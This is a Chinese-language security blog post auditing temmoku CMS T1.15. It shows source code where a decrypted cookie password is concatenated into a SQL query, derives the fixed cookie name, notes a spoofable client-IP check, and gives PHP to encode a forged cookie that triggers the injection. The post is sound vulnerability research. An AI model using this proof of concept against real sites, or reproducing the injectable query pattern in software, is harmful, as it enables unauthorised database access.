temmoku home版 t1.15 前台sqli
0x00
很久没有审计了,找了个简单的cms审计 这次找的是temmoku,他修改了thinkphp作为他的底层框架。 代码写的很难受,写出来的界面也很难受,所以找了个注入就不想看了,记录一下。
0x01 前台注入
这套cms,每个控制器都继承了temmoku/controller.php
,其中controller构造函数做了相关权限控制 找到temmoku/controller.php
,定位到__construct函数
function __construct()
{
$this->_view = new view();
if(!cookie::get('USER_First_Visit')){
cookie::set('USER_First_Visit',$_SERVER['REQUEST_TIME_FLOAT']);
}
$lock=APP_PATH.'conf/install.lock';
if(is_file($lock)){
if('admin'!=MODULE && 'user'!=MODULE){
hook_listen('index_power_begin');
}
//验证普通会员状态
$this->User_Check();// 注入
if('admin'!=MODULE && 'user'!=MODULE){
hook_listen('index_power_end');
}
}
}
private function User_Check(){
$ORDINARY_MEMBER=cookie::get('ORDINARY_MEMBER');
if($ORDINARY_MEMBER){
if(json_encode($ORDINARY_MEMBER)){
$ORDINARY_MEMBER=decode($ORDINARY_MEMBER);
list($uid,$password,$onlineip)=$r =explode(' ',$ORDINARY_MEMBER);
if(!intval($uid) || !$password || C('ONLINEIP') != $onlineip || !$onlineip){
cookie::del('ORDINARY_MEMBER');
return;
}
$data = (new lib\user)->Cookie_Login($uid,$password);// TODO 伪造cookie 对password做数据注入
if('0'===$data['code']){
$data['UserDB']['thumb'] ? $data['UserDB']['thumb']=get_img_url($data['UserDB']['thumb']) : $data['UserDB']['thumb']='/public/global/images/default.png';
C('MYDB',$data['UserDB']);
$group=C('USER_GROUP.'.$data['UserDB']['groupid']);
$group['setting']=unserialize($group['setting']);
C('MYGROUP',$group);
}else{
cookie::del('ORDINARY_MEMBER');
return;
}
}else{
cookie::del('ORDINARY_MEMBER');
return;
}
}
}
public function Cookie_Login($uid,$password){
$UserDB=$this->select('*')->from(jab."user")->where("uid='$uid' AND password='$password'")->row();
if($UserDB){
return array("code"=>'0','text'=>"登录成功",'UserDB'=>$UserDB);
}else{
return array("code"=>'21','text'=>"密码错误");
}
}
/**
* 解密函数
* @param string $txt 需要解密的字符串
* @param string $key 密匙
* @return string 字符串类型的返回结果
*/
function decode($txt, $key = '', $ttl = 0){
if (empty($txt)) return $txt;
if (empty($key)) $key = md5(C('MD5'));
// ... 后面的相关数学操作无关紧要
}
temmoku/lib/cookie.php
public static function get($key){
$key=C('cookie_is_en')=='1' ? 'temmoku_'.md5(C('MD5')."_".$key) : 'temmoku_'.$key;
return empty($_COOKIE[$key]) ? 0 : $_COOKIE[$key];
}
temmoku_+md5("_ORDINARY_MEMBER")
因为MD5默认为空,这样我们就能推出cookie名为temmoku_c3daef9b5af4ca25121457287fd0c2ac
其次我们需要构造onlineip,来看看这个onlineip是怎么获取的 定位temmoku/app.php
private static function default_config(){
// ...
C('onlineip',getRealIp());// TODO 可伪造Ip
define('onlineip', getRealIp());
// ...
}
function getRealIp(){
$ip=false;
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!preg_match ("/^(10│172.16│192.168)./", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
0x02 构造加密串
<?php
/**
* Created by PhpStorm.
* User: wh1t3P1g
* Date: 2019/2/21
* Time: 19:48
*/
function decode($txt, $key = '', $ttl = 0){
...
}
function encode($txt, $key = ''){
...
}
echo encode('1550750916.778 \' 127.0.0.1');
iBuikbGflt4lk4LiZ747G7NBIm9uPlLKikooVtsqagnfQIk1NZI0-rW
,直接加在cookie里就能造成系统出现数据库错误 0x03 总结
这个漏洞是比较经典的问题,用了加密后,开发者默认认为解密后的字符串是安全的,直接拼接到数据库操作上导致的注入。